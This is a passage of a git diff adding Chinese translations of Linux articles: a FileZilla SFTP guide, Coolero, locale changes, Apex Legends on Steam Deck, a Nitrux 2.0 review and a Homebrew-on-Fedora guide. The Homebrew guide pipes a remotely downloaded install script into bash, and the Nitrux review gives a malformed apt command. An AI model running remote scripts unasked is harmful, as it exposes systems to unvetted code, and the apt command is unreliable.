+**4 & 5、本地窗口和远程窗口**:这两个窗口非常相似,除了本地窗口显示本地目录内容,并且有用来上传文件的上下文菜单;而远程窗口显示的是远程目录的内容,并有从远程目录下载到本地文件的选项。 + +**6、传输队列**:最后,传输队列窗口显示正在传输的项目的状态和它们的传输速度,以及队列中的文件和传输历史(仅限当前实例)。 + +#### 使用 FileZilla 连接到 SFTP 服务器 + +你需要知道远程服务器的用户名、密码和 IP 地址。远程服务器也应该被设置成能够接受以这些信息进行的连接。你还需要在目标文件夹有正确的权限设置。 + +要新增一个 SFTP 连接,你需要打开站点管理器。有两种方式可以打开它。 + +在菜单栏上的“文件Files”菜单选项下有一个“站点管理器Site Manager”。或者,你可以直接点击工具栏上的“站点管理器”图标。 + +![the Site Manager button on the toolbar][9] + +一旦站点管理器对话框弹出,点击“新站点New site”按钮,并(可选地)重命名添加到条目中的新站点。我叫我的站点为“test8”。 + +![screenshot of the Site Manager][10] + +在右侧的“常规General”标签下,确保所使用的协议与服务器管理员为你设置的相一致。在我的例子中,我设置了一个 SFTP 服务器(借助 SSH 通道的 FTPFTP over SSH),因此我选择了“SFTP - SSH 文件传输协议SFTP – SSH File Transfer Protocol”。 + +下一个字段填写远程服务器的 IP 地址。 + +如果你没有设置“端口号Port”,FileZilla 将假定要使用的端口号为缺省的 SSH 协议的 22 端口。 + +“登录类型Logon Type”下拉列表有几个选项。在“常规Normal”登录方式下,你只需要提供用户名和密码。 + +如果你设置了一对公钥和私钥来验证你的 SSH 用户连接,那么可以使用“密钥文件授权Key file authentication”方式。 + +一旦你为远程服务器和认证填写了所有适当的细节,就可以点击底部的“连接Connect”按钮连接到站点。别担心,你刚刚建立连接的新站点将会按“登录类型”保存起来。 + +![Remote pane being populated after a successful connection][11] + +如果你看到一个 “连接到 <主机 IP 地址>” 的状态消息,并且最近的状态消息是 “目录列表 "/" 显示成功”,说明你已经成功的连接到了远程的 SFTP 服务器(使用 SSH 协议的 FTP)。 + +另一个 SFTP 连接成功的标志是,当连接成功建立的时候,远程目录窗口有了很多消息。 + +#### 发送文件到远程系统 + +你必须 **确保你位于要传输文件的目录里**。传输文件非常简单,只需**双击文件**,无需指定指定目标位置。 + +如果你在左边窗口双击了一个文件,它立即传输到右边科技的目录里(或者有传输任务的话,加到队列中)。 + +同样,从右边窗口到左边窗口也是一样双击,即从远程服务器到本地。**这就是为什么本地和远程系统都要在正确的位置是非常重要的原因**。 + +此外,你也可以鼠标右击文件上传它们(或者加它们到上传队列)。目标位置总是 FileZilla 界面中显示的目录。 + +![Transfer queue pane showing the local file name, remote destination, transfer speed and an ETA][12] + +除了方便和快捷方面,这两种上传的文件方式没有什么不同。 + +#### 下载远程系统中的文件 + +像上传文件一样,当从远程服务器传输文件到本地时也有两种方式,但不是“上传”而是“下载”。 + +下载的文件将放在本地目录窗口中,也就是你当前打开的本地窗口。 + +你将会注意到除了发送方和接收方不同之外,下载和上传文件的行为是一样的。除非连接数受到限制,否则文件传输将是并行进行的。 + +### 总结 + +厉害!有了这些基础知识,你应该能够在你的计算机和服务器之间传输文件。我希望你能够学到一些新东西 : ) + +如果你感到这些对你有帮助,随意在评论部分留下你的问题、建议或简单的一句 “thank you”。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/filezilla-ubuntu/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://linuxhandbook.com/transfer-files-ssh/ +[2]: https://filezilla-project.org/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/filezilla-ubuntu-software-center.png?resize=751%2C382&ssl=1 +[4]: https://itsfoss.com/unable-to-locate-package-error-ubuntu/ +[5]: https://itsfoss.com/ubuntu-repositories/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/filezilla-ubuntu.png?resize=763%2C224&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/01_filezilla.webp?resize=800%2C431&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/02_filezilla_layout.webp?resize=800%2C504&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/03_site_manager_annotated.webp?resize=386%2C170&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/04_site_manager.webp?resize=800%2C577&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/05_successful_connection.webp?resize=800%2C431&ssl=1 +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/07_transfer_pane_populated-1.webp?resize=800%2C431&ssl=1 +[13]: https://itsfoss.community/ diff --git a/published/202203/20220308 Coolero- Open-Source App to Monitor and Control Cooling Devices.md b/published/202203/20220308 Coolero- Open-Source App to Monitor and Control Cooling Devices.md new file mode 100644 index 0000000000..953be225d3 --- /dev/null +++ b/published/202203/20220308 Coolero- Open-Source App to Monitor and Control Cooling Devices.md @@ -0,0 +1,105 @@ +[#]: subject: "Coolero: Open-Source App to Monitor and Control Cooling Devices" +[#]: via: "https://itsfoss.com/coolero/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14350-1.html" + +Coolero:监测和控制冷却设备的开源应用 +====== + +> 正在寻找一个 GUI 程序来管理 Linux 上的 AIO 和其他冷却设备么?让我们来了解一下 Coolero,以获得一些帮助。 + +![](https://img.linux.net.cn/data/attachment/album/202203/12/092109g9stmnmmmnootown.jpg) + +说到 Linux,我们无法从 NZXT、Corsair、MSI、ASUS 等品牌那里获得官方软件支持来管理 PC 上的硬件组件。 + +虽然有开源的驱动/工具可以使事情顺利进行,但在具有图形用户界面(GUI)的程序中,它仍然是一项正在进行的工作。例如,[配置游戏鼠标][1] 或 [在 Linux 上设置 Razer 设备][1]。 + +幸运的是,这些年来情况有所改善,现在可以在 Linux 上管理/调整各种最新的外围设备和组件。 + +其中一个改进就是有了一个开源的 GUI 程序来管理和监控冷却设备,即 Coolero。 + +**注意:** 该程序正在积极开发中,并慢慢向其第一个主要版本发展。 + +### Coolero:轻松地管理你的水冷 + +![][2] + +当我去年升级我的电脑时,我对我的 AIO(All-in-One)水冷(Corsair Hydro 100i Pro XT)缺乏软件支持感到恼火。 + +这不仅仅是控制 RGB 灯光(为了美观),而且我找不到一个方便的方法(使用 GUI 程序)来平衡风扇配置。 + +现在,有了 [Coolero][3] 就可以做到了。Coolero 是一个使用 [liquidctl][4] 和其他一些库来控制冷却设备的前端,主要包括 AIO、风扇集线器/控制器,还有 PSU 和一些 RGB 照明支持。 + +它支持一系列的水冷和一些 PSU。你可以在其 GitLab 页面上获得所有支持设备的细节。请注意,对一些冷却器的支持仍然是试验性的,而且你还不能让你的 Kraken Z 上的 LCD 屏幕与它一起工作。 + +让我强调一下主要的特点。 + +### Coolero 的特点 + +![][5] + +现在有无数的冷却设备。但是,Coolero 支持一些流行的选项和它的变体来控制基本功能: + + * 系统概览图 + * CPU 温度/负载 + * GPU 温度/负载 + * 支持多个设备,以及同一设备的多个版本。 + * 能够使用该图表定制风扇配置文件。 + * 提供了几个预设的风扇配置文件。 + * 能够调整 RGB 照明配置文件。 + * 保存配置文件并在启动时应用它。 + +用户界面简单易懂,易于使用。你可以与图表互动以启用/禁用对特定组件的监控。 + +你所连接的 AIO 或控制器应该作为单独的组件出现在界面上,使你很容易控制它们。 + +![][6] + +你会有两种类型的功能,控制风扇和灯光(如果有的话)。我使用风扇图表来定制我的 AIO 上的风扇配置文件。 + +根据我的简单测试,它与 Corsair AIO 工作很好。你可以用它来尝试 NZXT 冷却器、PSU、控制器和智能设备(或集线器)。 + +### 在 Linux 中安装 Coolero + +Coolero 以 AppImage、Flatpak(通过 [Flathub][7])的形式提供,或者你可以从源代码中构建它。 + +如果你是 Linux 的新手,你可能想参考我们的 [AppImage 指南][8] 和 [Flatpak 帮助资源][9]。 + +要探索更多关于它的信息,请前往下面链接的 GitLab 页面。 + +- [Coolero][3] + +### 总结 + +如果你有 AIO、集线器和控制器需要按照你的要求进行调整,那么 Coolero 是一个令人兴奋的项目,值得关注。 + +虽然你可以尝试使用一些命令行工具,但这并不是实现你的 PC 中的组件的基本控制的最方便的方法。 + +你试过了吗?你用什么来管理你的 Linux 系统上的 AIO 或冷却器?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/coolero/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/set-up-razer-devices-linux/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/coolero-ui-home.png?resize=800%2C468&ssl=1 +[3]: https://gitlab.com/codifryed/coolero +[4]: https://github.com/liquidctl/liquidctl +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/coolero-fan-settings.png?resize=800%2C443&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/coolero-fan.png?resize=800%2C443&ssl=1 +[7]: https://flathub.org/apps/details/org.coolero.Coolero +[8]: https://itsfoss.com/appimagepool/ +[9]: https://itsfoss.com/flatpak-guide/ diff --git a/published/202203/20220309 Changing Linux System Language (Locales) From Command Line on Ubuntu and Debian Based Distros.md b/published/202203/20220309 Changing Linux System Language (Locales) From Command Line on Ubuntu and Debian Based Distros.md new file mode 100644 index 0000000000..b59445dafe --- /dev/null +++ b/published/202203/20220309 Changing Linux System Language (Locales) From Command Line on Ubuntu and Debian Based Distros.md @@ -0,0 +1,113 @@ +[#]: subject: "Changing Linux System Language (Locales) From Command Line on Ubuntu and Debian Based Distros" +[#]: via: "https://itsfoss.com/change-locales-linux/" +[#]: author: "Marco Carmona https://itsfoss.com/author/marco/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14355-1.html" + +在 Ubuntu 上通过命令行改变 Linux 系统语言 +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/13/223937s17qtqz931grud89.jpg) + +> 这是一个快速教程,展示了在 Ubuntu 和其他 Linux 发行版上从命令行改变语言的步骤。 + +事实上,我一直在写西班牙语的文章。如果你没有访问过它并且/或你是一个讲西班牙语的人,请访问 [It's FOSS en Español][1] 并查看所有西班牙语的 Linux 内容。 + +你可能想知道我为什么要和你分享这件事,这是因为这篇文章以这个新页面为例。 + +在新安装 [你喜欢的 Linux 发行版][2] 时,系统会要求你选择一种主语言。有些人,比如说我,后来会考虑把这个语言改成新的,尽管这并不频繁。 + +你看,我必须同时用西班牙语和英语进行截屏。这就成了一个问题,因为我只有一台电脑,而更换用户对我来说不是一个快速的解决方案。 + +这就是为什么我想和你分享这个快速技巧,我将告诉你如何在终端中用两行简单的文字改变你的主系统语言。 + +让我们开始吧! + +### 从终端改变 Linux 系统语言 + +假设你想把你的主语言从英语改为西班牙语。 + +确认你将哪种语言设置为默认语言(主语言)。为此,让我们使用 `locale` 命令。 + +``` +locale +``` + +你应该看到像这样的东西: + +``` +team@itsfoss:~$ locale +LANG=en_US.UTF-8 +LANGUAGE= +LC_CTYPE="en_US.UTF-8" +LC_NUMERIC="en_US.UTF-8" +LC_TIME="en_US.UTF-8" +LC_COLLATE="en_US.UTF-8" +LC_MONETARY="en_US.UTF-8" +LC_MESSAGES="en_US.UTF-8" +LC_PAPER="en_US.UTF-8" +LC_NAME="en_US.UTF-8" +LC_ADDRESS="en_US.UTF-8" +LC_TELEPHONE="en_US.UTF-8" +LC_MEASUREMENT="en_US.UTF-8" +LC_IDENTIFICATION="en_US.UTF-8" +LC_ALL= +``` + +在这里你可以看到主语言是英语。现在要改变它,请按以下方式使用 `dpkg` 命令: + +``` +sudo dpkg-reconfigure locales +``` + +当你运行之前的命令,你应该在终端看到下面的页面: + +![sudo dpkg reconfigure locales][3] + +在这里,你应该**使用向上和向下的箭头移动**直到你到达所需的语言。在我的例子中,我想要西班牙语,更具体地说,是墨西哥西班牙语,因为我是墨西哥人。 + +不是所有的语言都有这个选项,但如果你的语言有,请选择 [UTF-8][4]。 + +找到你的语言后,**按空格键来标记**,然后**回车**。 + +![Selecting your language][5] + +最后,在最后一个窗口中,通过使用箭头键移动到该语言并按下**回车键**,选择该新语言作为你的默认语言。 + +![Setting new language as default][6] + +完成后,你应该在你的终端看到这样的信息: + +``` +Generating locales (this might take a while)... + en_US.UTF-8... done + es_MX.UTF-8... done +Generation complete. +``` + +这就完成了!现在你能够直接从终端改变你的默认语言,次数不限。 + +如果你对这个话题有任何疑问,请在评论区告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/change-locales-linux/ + +作者:[Marco Carmona][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/marco/ +[b]: https://github.com/lujun9972 +[1]: https://es.itsfoss.com/ +[2]: https://itsfoss.com/best-linux-beginners/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/sudo_dpkg-reconfigure_locales.png?resize=1090%2C690&ssl=1 +[4]: https://en.wikipedia.org/wiki/UTF-8 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/Selecting_your_language.png?resize=800%2C506&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/Setting_new_language_as_default-1.png?resize=800%2C506&ssl=1 diff --git a/published/202203/20220309 Good News- Apex Legends Now Officially Works on Steam Deck and Linux.md b/published/202203/20220309 Good News- Apex Legends Now Officially Works on Steam Deck and Linux.md new file mode 100644 index 0000000000..0cce23e55a --- /dev/null +++ b/published/202203/20220309 Good News- Apex Legends Now Officially Works on Steam Deck and Linux.md @@ -0,0 +1,73 @@ +[#]: subject: "Good News! Apex Legends Now Officially Works on Steam Deck and Linux" +[#]: via: "https://news.itsfoss.com/apex-legends-steam-deck-verified/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14347-1.html" + +《Apex 英雄》正式可在 Steam Deck 和 Linux 上运行 +====== + +> 《Apex 英雄》现已通过 Steam Deck 验证,这使其成为支持 Linux 的顶级多人游戏之一。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/apex-legends-steam-verified.png?w=1200&ssl=1) + +《Apex 英雄Apex Legends》是最受欢迎的多人游戏之一,我们都在急切地等待它能在 Linux 上运行。 + +特别是,在它 [宣布正式支持 Linux 的 Easy Anti-Cheat 和 BattleEye][1] 之后。 + +然而,官方一直并没有宣布支持该游戏,直到刚刚。 + +它似乎已经被添加到 Valve 的 Steam Deck 验证游戏列表中,这事最初是由 [GamingOnLinux][2] 发现的。 + +你可以在 [官方 Steam Deck 验证页][3] 上自己检查,或者通过 [SteamDB][4] 发现这一变化。 + +### 在 Linux 上玩《Apex 英雄》已成为现实 + +![][5] + +随着 Steam Deck 的验证状态,可以说我们现在有了在 Linux 上运行的顶级多人射击游戏之一。 + +如果你不知道的话,《Apex 英雄》目前是 Steam 上排名前十的游戏之一,它在 PC 上有大量的玩家。 + +![][6] + +因此,如果你因为缺乏多人游戏支持而不愿意在桌面上尝试 Linux,现在你可以考虑了。 + +如果你仍然犹豫,你或许可以看看我 [推荐用 Linux 玩游戏][7] 的观点,以了解更多信息(Linux 的多人游戏和反作弊支持已经有所改善,但文章的大部分内容仍然有效!)。 + +而且,如果你已经有一个 Steam Deck 游戏机,你现在就可以安装这个游戏并玩起来了。 + +注意,如果你是在 Linux 桌面上尝试,你可能要在 Steam 上启用 Proton 支持,并选择“实验性 Proton 支持Proton Experimental”。 + +当然,还有许多其他游戏,如《彩虹六号:围攻Rainbow Six Siege》,也应该支持 Steam Deck 或一般的 Linux 系统。现在有了 Linux 上的《Apex 英雄》,其他的多人游戏作品可能会重新考虑为 Steam Deck 或 Proton 测试他们的游戏。 + +这里有一段 Liam Dawe 的视频,展示了运行在 Steam Deck 上的《Apex 英雄》: + +[![][8]](https://youtu.be/roK0SUhP9Ro) + +你试过在 Linux 桌面或 Steam Deck 上运行《Apex 英雄》吗?请在下面的评论中告诉我你的看法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/apex-legends-steam-deck-verified/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/easy-anti-cheat-linux/ +[2]: https://www.gamingonlinux.com/2022/03/apex-legends-gets-steam-deck-verified/ +[3]: https://www.steamdeck.com/en/verified +[4]: https://steamdb.info/app/1172470/history/?changeid=14171059 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/steam-deck-verified-apex-legends.jpg?w=1321&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/steam-top-games.png?w=1022&ssl=1 +[7]: https://news.itsfoss.com/linux-for-gaming-opinion/ +[8]: https://i0.wp.com/i.ytimg.com/vi/roK0SUhP9Ro/hqdefault.jpg?w=780&ssl=1 diff --git a/published/202203/20220309 Nitrux 2.0 Review- Stunning Distro with a Few Rough Edges.md b/published/202203/20220309 Nitrux 2.0 Review- Stunning Distro with a Few Rough Edges.md new file mode 100644 index 0000000000..68717ad4a9 --- /dev/null +++ b/published/202203/20220309 Nitrux 2.0 Review- Stunning Distro with a Few Rough Edges.md @@ -0,0 +1,143 @@ +[#]: subject: "Nitrux 2.0 Review: Stunning Distro with a Few Rough Edges" +[#]: via: "https://www.debugpoint.com/2022/03/nitrux-2-0-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14344-1.html" + +Nitrux 2.0:令人惊艳的发行版 +====== + +> 以下是对 Nitrux 2.0 在性能稳定性方面的点评,以及我们对是否可以将其用作日常使用的看法。 + +![](https://img.linux.net.cn/data/attachment/album/202203/10/114302tr0a27l77t2plp4p.jpg) + +[Nitrux Linux][2] 是基于 Debian 的,其特点是采用了修改版的 KDE Plasma 桌面,它被称为 NX 桌面。这个独特的 Linux 发行版带来了它自己的一套 Nitrux 应用程序,它们建立在 Maui 套件和 Qt 上。Nitrux 是没有 systemd 的,它使用 OpenRC 作为初始化系统。凭借所有这些独特的功能和令人惊叹的外观,它是当今最好的 Linux 发行版之一。 + +Nitrux 团队在 2022 年 2 月发布了它的主要版本 2.0,最近又发布了第一个小版本。因此,我们觉得现在是对这个漂亮的桌面进行评价的好时机。 + +![Nitrux 2.0 应用程序视图][3] + +### Nitrux 2.0 点评 + +#### 安装 + +Nitrux 使用了一个修改版的 Calamares 安装程序。该操作系统的 ISO 包含临场live桌面,在此你可以访问安装操作系统的快捷方式。启动选项包括更多的选项,包括 `nomodset` 内核启动选项。 + +在虚拟机测试中,安装很顺利,但在实际的硬件中却失败了,因为我的 NVIDIA 340 有点老。因此,如果你打算安装较新的硬件,应该没有问题。 + +#### 第一印象和桌面 + +在外观方面,Nitrux 可以说是与当今所有外观优秀的发行版不相上下,比如深度、Cutefish OS。它们都为用户和 Nitrux 操作系统带来了开箱即用的定制功能。但 Nitrux 的优势在于 KDE Plasma、Plasmoid、Kvuntum 主题与基于 Maui 套件组件的奇妙组合。 + +当你第一眼看到它的时候,它看起来很好,而且有良好的组织性,底部预配置了 Latte Dock、友好而干净的顶部栏。 + +它基于 KDE Plasma,你可以轻松地改变外观和感觉,并通过设置在深色和浅色模式之间切换。默认字体 Fire Sans 使它成为一个整体设计完美的桌面。 + +这个版本采用了 KDE Plasma 5.24+,KDE 框架 5.91 和 xanmod 版的 Linux 内核 5.16。 + +到目前为止,我的第一印象没有任何槽点。 + +#### 登录和 Shell + +不久前,该团队 [引入][4] 了 Maui Shell,这是一个以 Cask 为特色的融合性桌面,即 Shell 层。这是这个体验式 Shell 的第一个版本,用户通过登录窗口就可以看到。 + +但唯一困扰我的是,Cask(仍然是实验性的)被定为默认登录会话。那些知道的人会把它改成 Plasma,但那些不知道的人会有些吃惊! + +![使用 Cask 的登录会话][5] + +#### 应用程序 + +Nitrux 使用 AppImage 格式来发布应用程序。大多数预装的应用程序都是 AppImage。而且在通知方面,它们与整个桌面很好地结合在一起。Nitrux 也会检测你的下载文件夹中外部下载的 AppImage 进行安装。 + +默认情况下,它预装了以下本地 [Maui 应用程序][6]: + + * Index 文件管理器 + * Station 终端 + * Pix 图像浏览器 + * Nota 文本编辑器 + * Nitro 分享 + * NX 软件中心 + +Firefox 和 LibreOffice 也预装了,以满足基本需求。你可以根据你的工作流程需要,通过 NX 软件中心安装其他应用程序。 + +关于 Firefox 和更新 Nitrux 的一点提醒。有一些报告说 Firefox 在进行基本系统更新后被删除。在你点击升级之前,请确保你通过终端用 `apt get —upgradable` 检查文件的变化。 + +#### 性能和资源消耗 + +因为我无法把它安装在我的物理机上。因此,下面提到的性能指标是在 [virt-manager][8] 虚拟管理器下测量的。 + +在空闲状态下,它使用大约 1GB 的内存,CPU 在 9% 到 10%。KWin 窗口管理器和 Latte Dock 在底部消耗了大部分的资源。 + +![Nitrux 2.0 系统在空闲状态下的性能][9] + +现在是时候通过一些繁重的工作负载来运行它了。这包括一个文本编辑器、LibreOffice、文件管理器、图像查看器和 Firefox 的五个标签,其中一个标签正在播放一个 YouTube 视频。 + +你可以在下面的图片中看到资源使用的峰值。在这种状态下,它使用了接近 2GB 的内存,CPU 为 26%。和往常一样,Firefox 浏览器消耗了大部分资源。 + +![Nitrux 2.0 系统在繁重工作状态下的性能][10] + +我想说的是,从性能上来说,它的表现还算可以。因为开箱即用的定制版,Latte Dock 和 Kvuntum 主题确实占用了一些资源。而这个指标在空闲和重载状态下要高于基本的 KDE Plasma。 + +#### 一些有问题的地方 + +不幸的是,在我的测试过程中,Nitrux 2.0 有几个小问题: + + * 在我的 i3+SSD+4gb+NVIDIA+Broadcom 的旧系统中尝试安装了一个小时后 - 我无法让 Calamares 安装程序开始安装。 + * 在临场live会话中没有检测到 Wi-Fi。然而,到目前为止,我在这个设备上测试的所有发行版都能检测到它。 + * KWin 在临场会话开始时崩溃了。 + * 由于网络连接的原因,Calamares 安装程序的“下一步”按钮被禁用。这对我来说有点奇怪。 + * 而最小的安装 ISO 也给出了 [plymouth failed to start #17][11] 的错误。 + +然后我在 [这里][12] 找到了已知问题部分,其中提到了一些问题。我确信这与 xanmod 版的 Linux 内核 5.16 有关。主线内核本来是没有问题的。 + +在虚拟机环境中,实验性的 Maui Shell 是不能使用的。点击和触摸操作大多不工作。但考虑到这是一个测试版本,这是可以理解的。 + +我觉得 Calamares 安装程序的错误需要在下一个版本之前进行更多的测试。 + +### 下载 Nitrux 2.0 + + +你可以从以下链接下载最新版本: + +- [下载 Nitrux][13] + +### 结束语 + +如果你喜欢 KDE Plasma,并且不想在定制上花费太多精力,你可以选择 Nitrux 2.0。另外,许多用户喜欢类似于 Debian 的稳定性,而不要 systemd。那么,对他们来说,这是一个完美的选择。 + +但因为有一些错误,我不会向超小白的新用户推荐这个发行版。如果你对 Linux 有一定的了解,并且知道如何用命令行解决一些小问题,那么它就很适合你。你可以使用 Nitrux 2.0 作为你的日常系统。只是要谨慎对待 Debian 的不稳定软件包,这些软件包在更新后偶尔会出现问题。 + +加油! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/nitrux-2-0-review/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/03/Nitrux-2.0-Desktop-1024x581.jpg +[2]: https://nxos.org/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/03/Nitrux-2.0-Application-View-1024x580.jpg +[4]: https://www.debugpoint.com/2022/01/maui-shell-first-look-1/ +[5]: https://www.debugpoint.com/wp-content/uploads/2022/03/Login-sessions-with-Cask.jpg +[6]: https://www.debugpoint.com/2022/03/top-nitrux-maui-applications/ +[7]: https://www.debugpoint.com/2021/05/archcraft-os-review/ +[8]: https://www.debugpoint.com/2020/11/virt-manager/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/03/Nitrux-2.0-system-performance-in-idle-state.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/03/Nitrux-2.0-system-performance-in-heavy-workload-state.jpg +[11]: https://github.com/Nitrux/nitrux-bug-tracker/issues/17 +[12]: https://nxos.org/known-issues/known-issues-nitrux-2-0-1/ +[13]: https://nxos.org/download/standard/ +[14]: https://t.me/debugpoint +[15]: https://twitter.com/DebugPoint +[16]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[17]: https://facebook.com/DebugPoint diff --git a/published/202203/20220309 Using Homebrew Package Manager on Fedora Linux.md b/published/202203/20220309 Using Homebrew Package Manager on Fedora Linux.md new file mode 100644 index 0000000000..a68efd7737 --- /dev/null +++ b/published/202203/20220309 Using Homebrew Package Manager on Fedora Linux.md @@ -0,0 +1,147 @@ +[#]: subject: "Using Homebrew Package Manager on Fedora Linux" +[#]: via: "https://fedoramagazine.org/using-homebrew-package-manager-on-fedora-linux/" +[#]: author: "Mehdi Haghgoo https://fedoramagazine.org/author/powergame/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14380-1.html" + +在 Fedora Linux 上使用 Homebrew 包管理器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/21/193616z7kvf71b7z48kn92.jpg) + +### 简介 + +Homebrew 是一个 macOS 的包管理器,用于在 macOS 上安装 UNIX 工具。但是,它也可以在 Linux(和 Windows WSL)上使用。它是用 Ruby 编写的,并提供主机系统(macOS 或 Linux)可能不提供的软件包,因此它在操作系统包管理器之外提供了一个辅助的包管理器。此外,它只以非 root 用户身份在前缀 `/home/linuxbrew/.linuxbrew` 或 `~/.linuxbrew` 下安装软件包,不会污染系统路径。这个包管理器在 Fedora Linux 上也适用。在这篇文章中,我将尝试告诉你 Homebrew 与 Fedora Linux 包管理器 `dnf` 有什么不同,为什么你可能想在 Fedora Linux 上安装和使用它,以及如何安装。 + +> 免责声明 +> +> 你应该经常检查你在系统上安装的软件包和二进制文件。Homebrew 包通常以非 sudoer 用户运行,并工作在专门的前缀的路径下,因此它们不太可能造成破坏或错误配置。然而,所有的安装操作都要自己承担风险。作者和 Fedora 社区不对任何可能直接或间接因遵循这篇文章而造成的损失负责。 + +### Homebrew 如何工作 + +Homebrew 在底层使用 Ruby 和 Git。它使用特殊的 Ruby 脚本从源代码构建软件,这些脚本被称为 “配方formula”,看起来像这样(使用 `wget` 包作为例子): + +(LCTT 译注:Homebrew 本身意思是“家酿”,在这个软件中,有各种类似于酿酒的比喻。) + +``` +class Wget < Formula + homepage "https://www.gnu.org/software/wget/" + url "https://ftp.gnu.org/gnu/wget/wget-1.15.tar.gz" + sha256 "52126be8cf1bddd7536886e74c053ad7d0ed2aa89b4b630f76785bac21695fcd" + + def install + system "./configure", "--prefix=#{prefix}" + system "make", "install" + end +end +``` + +### Homebrew 与 dnf 有何不同 + +Homebrew 是一个包管理器,提供了许多 UNIX 软件工具和包的最新版本,例如 FFmpeg、Composer、Minikube 等。当你想安装一些由于某种原因在 Fedora Linux RPM 仓库中没有的软件包时,它就会证明很有用。所以,它并不能取代 `dnf`。 + +### 安装 Homebrew + +在开始安装 Homebrew 之前,确保你已经安装了 glibc 和 gcc。这些工具可以在 Fedora 上通过以下方式安装: + +``` +sudo dnf groupinstall "Development Tools" +``` + +然后,通过在终端运行以下命令来安装 Homebrew: + +``` +/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" +``` + +在安装过程中,你会被提示输入你的 `sudo` 密码。另外,你可以选择 Homebrew 的安装前缀,但默认的前缀就可以了。在安装过程中,你将成为 Homebrew 前缀目录的所有者,这样你就不必输入 `sudo` 密码来安装软件包。安装将需要数分钟。完成后,运行以下命令,将 `brew` 添加到你的 `PATH` 中: + +``` +echo 'eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"' >> ~/.bash_profile +eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" +``` + +### 安装和检查软件包 + +要在 Homebrew 上使用“配方”安装一个软件包,只需运行: + +``` +brew install +``` + +将 `` 替换为你要安装的“配方”的名称。例如,要安装 Minikube,只需运行: + +``` +brew install minikube +``` + +你也可以用以下方式搜索“配方”: + +``` 